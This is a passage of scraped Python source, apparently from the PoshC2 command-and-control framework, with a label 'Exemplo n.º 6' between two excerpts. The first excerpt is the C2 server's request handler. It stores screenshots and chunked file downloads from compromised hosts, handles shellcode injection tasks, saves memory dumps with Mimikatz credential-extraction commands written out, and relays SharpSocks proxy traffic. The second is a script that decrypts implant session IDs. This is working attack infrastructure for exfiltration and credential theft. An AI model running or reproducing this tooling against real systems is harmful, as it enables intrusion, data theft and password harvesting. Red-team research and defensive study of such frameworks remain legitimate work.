                        try:
                            decoded = base64.b64decode(outputParsed)
                            filename = i[3] + "-" + now.strftime(
                                "%m%d%Y%H%M%S_" + randomuri())
                            output_file = open(
                                '%s%s.png' % (DownloadsDirectory, filename),
                                'wb')
                            print("Screenshot captured: %s%s.png" %
                                  (DownloadsDirectory, filename))
                            update_task(
                                taskId, "Screenshot captured: %s%s.png" %
                                (DownloadsDirectory, filename))
                            output_file.write(decoded)
                            output_file.close()
                        except Exception:
                            update_task(
                                taskId,
                                "Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
                            )
                            print(
                                "Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
                            )
                    elif (executedCmd.lower().startswith("$shellcode64")) or (
                            executedCmd.lower().startswith("$shellcode64")):
                        update_task(taskId, "Upload shellcode complete")
                        print("Upload shellcode complete")
                    elif (executedCmd.lower().startswith(
                            "run-exe core.program core inject-shellcode")):
                        update_task(taskId, "Upload shellcode complete")
                        print(outputParsed)
                    elif "download-file" in executedCmd.lower():
                        try:
                            filename = executedCmd.lower().replace(
                                "download-files ", "")
                            filename = filename.replace("download-file ", "")
                            filename = filename.replace("-source ", "")
                            filename = filename.replace("..", "")
                            filename = filename.replace("'", "")
                            filename = filename.replace('"', "")
                            filename = filename.replace("\\", "/")
                            directory, filename = filename.rsplit('/', 1)
                            filename = filename.rstrip('\x00')
                            original_filename = filename.strip()

                            if not original_filename:
                                directory = directory.rstrip('\x00')
                                directory = directory.replace(
                                    "/", "_").replace("\\", "_").strip()
                                original_filename = directory

                            try:
                                if rawoutput.startswith("Error"):
                                    print("Error downloading file: ")
                                    print(rawoutput)
                                    break
                                chunkNumber = rawoutput[:5]
                                totalChunks = rawoutput[5:10]
                            except Exception:
                                chunkNumber = rawoutput[:5].decode("utf-8")
                                totalChunks = rawoutput[5:10].decode("utf-8")

                            if (chunkNumber == "00001") and os.path.isfile(
                                    '%s%s' % (DownloadsDirectory, filename)):
                                counter = 1
                                while (os.path.isfile(
                                        '%s%s' %
                                    (DownloadsDirectory, filename))):
                                    if '.' in filename:
                                        filename = original_filename[:original_filename.rfind(
                                            '.')] + '-' + str(
                                                counter) + original_filename[
                                                    original_filename.rfind('.'
                                                                            ):]
                                    else:
                                        filename = original_filename + '-' + str(
                                            counter)
                                    counter += 1
                            if (chunkNumber != "00001"):
                                counter = 1
                                if not os.path.isfile(
                                        '%s%s' %
                                    (DownloadsDirectory, filename)):
                                    print(
                                        "Error trying to download part of a file to a file that does not exist: %s"
                                        % filename)
                                while (os.path.isfile(
                                        '%s%s' %
                                    (DownloadsDirectory, filename))):
                                    # First find the 'next' file would be downloaded to
                                    if '.' in filename:
                                        filename = original_filename[:original_filename.rfind(
                                            '.')] + '-' + str(
                                                counter) + original_filename[
                                                    original_filename.rfind('.'
                                                                            ):]
                                    else:
                                        filename = original_filename + '-' + str(
                                            counter)
                                    counter += 1
                                if counter != 2:
                                    # Then actually set the filename to this file - 1 unless it's the first one and exists without a counter
                                    if '.' in filename:
                                        filename = original_filename[:original_filename.rfind(
                                            '.')] + '-' + str(
                                                counter - 2
                                            ) + original_filename[
                                                original_filename.rfind('.'):]
                                    else:
                                        filename = original_filename + '-' + str(
                                            counter - 2)
                                else:
                                    filename = original_filename
                            print("Download file part %s of %s to: %s" %
                                  (chunkNumber, totalChunks, filename))
                            update_task(
                                taskId, "Download file part %s of %s to: %s" %
                                (chunkNumber, totalChunks, filename))
                            output_file = open(
                                '%s%s' % (DownloadsDirectory, filename), 'ab')
                            try:
                                output_file.write(rawoutput[10:])
                            except Exception:
                                output_file.write(
                                    rawoutput[10:].encode("utf-8"))
                            output_file.close()
                        except Exception as e:
                            update_task(taskId,
                                        "Error downloading file %s " % e)
                            print("Error downloading file %s " % e)
                            traceback.print_exc()

                    elif "safetydump" in executedCmd.lower():
                        rawoutput = decrypt_bytes_gzip(encKey,
                                                       post_data[1500:])
                        if rawoutput.startswith("[-]") or rawoutput.startswith(
                                "ErrorCmd"):
                            update_task(taskId, rawoutput)
                            print(rawoutput)
                        else:
                            dumpname = "SafetyDump-Task-%s.b64" % taskIdStr
                            dumppath = "%s%s" % (DownloadsDirectory, dumpname)
                            open(dumppath, 'w').write(rawoutput)
                            message = "Dump written to: %s" % dumppath
                            message = message + "\n The base64 blob needs decoding on Windows and then Mimikatz can be run against it."
                            message = message + "\n E.g:"
                            message = message + "\n     $filename = '.\\%s'" % dumpname
                            message = message + "\n     $b64 = Get-Content $filename"
                            message = message + "\n     $bytes = [System.Convert]::FromBase64String($b64)"
                            message = message + "\n     [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + 'safetydump.dmp', $bytes)"
                            message = message + "\n     ./mimikatz.exe"
                            message = message + "\n     sekurlsa::minidump safetydump.dmp"
                            message = message + "\n     sekurlsa::logonpasswords"
                            update_task(taskId, message)
                            print(message)

                    elif (executedCmd.lower().startswith("run-exe safetykatz")
                          or executedCmd.lower().startswith("invoke-mimikatz")
                          or executedCmd.lower().startswith("pbind-command")
                          ) and "logonpasswords" in outputParsed.lower():
                        print("Parsing Mimikatz Output")
                        process_mimikatz(outputParsed)
                        update_task(taskId, outputParsed)
                        print(Colours.GREEN)
                        print(outputParsed + Colours.END)

                    else:
                        update_task(taskId, outputParsed)
                        print(Colours.GREEN)
                        print(outputParsed + Colours.END)

        except Exception as e:
            if 'broken pipe' not in str(e).lower():
                print_bad("Error handling POST request: " + e)
                traceback.print_exc()

        finally:
            try:
                UriPath = str(self.path)
                sharpurls = get_sharpurls().split(",")
                sharplist = []
                for i in sharpurls:
                    i = i.replace(" ", "")
                    i = i.replace("\"", "")
                    sharplist.append("/" + i)

                if [ele for ele in sharplist if (ele in UriPath)]:
                    try:
                        open(
                            "%swebserver.log" % PoshProjectDirectory, "a"
                        ).write(
                            "[+] Making POST connection to SharpSocks %s%s\r\n"
                            % (SocksHost, UriPath))
                        r = Request(
                            "%s%s" % (SocksHost, UriPath),
                            headers={
                                'Cookie':
                                '%s' % self.cookieHeader,
                                'User-Agent':
                                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36'
                            })
                        res = urlopen(r, post_data)
                        sharpout = res.read()
                        self.send_response(res.getcode())
                        self.send_header("Content-type", "text/html")
                        self.send_header("Content-Length", len(sharpout))
                        self.end_headers()
                        if (len(sharpout) > 0):
                            self.wfile.write(sharpout)
                    except URLError as e:
                        try:
                            self.send_response(res.getcode())
                        except:
                            self.send_response(500)
                        self.send_header("Content-type", "text/html")
                        try:
                            self.send_header("Content-Length", len(sharpout))
                        except:
                            self.send_header("Content-Length", 0)
                        self.end_headers()
                        open(
                            "%swebserver.log" % PoshProjectDirectory, "a"
                        ).write(
                            "[-] URLError with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
                            % (SocksHost, UriPath, traceback.format_exc()))
                        open("%swebserver.log" % PoshProjectDirectory,
                             "a").write("[-] SharpSocks  %s\r\n" % e)
                    except Exception as e:
                        self.send_response(res.getcode())
                        self.send_header("Content-type", "text/html")
                        self.send_header("Content-Length", len(sharpout))
                        self.end_headers()
                        open(
                            "%swebserver.log" % PoshProjectDirectory, "a"
                        ).write(
                            "[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
                            % (SocksHost, UriPath, traceback.format_exc()))
                        open("%swebserver.log" % PoshProjectDirectory,
                             "a").write("[-] SharpSocks  %s\r\n" % e)
                        print(
                            Colours.RED +
                            "Error with SharpSocks or old implant connection - is SharpSocks running"
                            + Colours.END)
                        print(Colours.RED + UriPath + Colours.END)
                        self.send_response(404)
                        self.send_header("Content-type", "text/html")
                        self.end_headers()
                        HTTPResponsePage = select_item("GET_404_Response",
                                                       "C2Server")
                        if HTTPResponsePage:
                            self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
                        else:
                            self.wfile.write(bytes(GET_404_Response, "utf-8"))
                else:
                    self.send_response(200)
                    self.send_header("Content-type", "text/html")
                    self.end_headers()
                    self.wfile.write(default_response())
            except Exception as e:
                print(Colours.RED + "Generic error in POST request!" +
                      Colours.END)
                print(Colours.RED + UriPath + Colours.END)
                print(e)
                traceback.print_exc()
Exemplo n.º 6
0
#!/usr/bin/env python3

from poshc2.Colours import Colours
from poshc2.server.Core import decrypt
from poshc2.server.database.DBSQLite import get_keys
import sys, re

file = open(sys.argv[1], "r")
result = get_keys()

if result:
    for line in file:
        if re.search("SessionID", line):
            for i in result:
                try:
                    value = decrypt(i[0], line.split('=')[1])
                    print(Colours.GREEN + "Success with Key %s - %s" %
                          (i[0], value))
                except Exception:
                    print(Colours.RED + "Failed with Key %s" % i[0])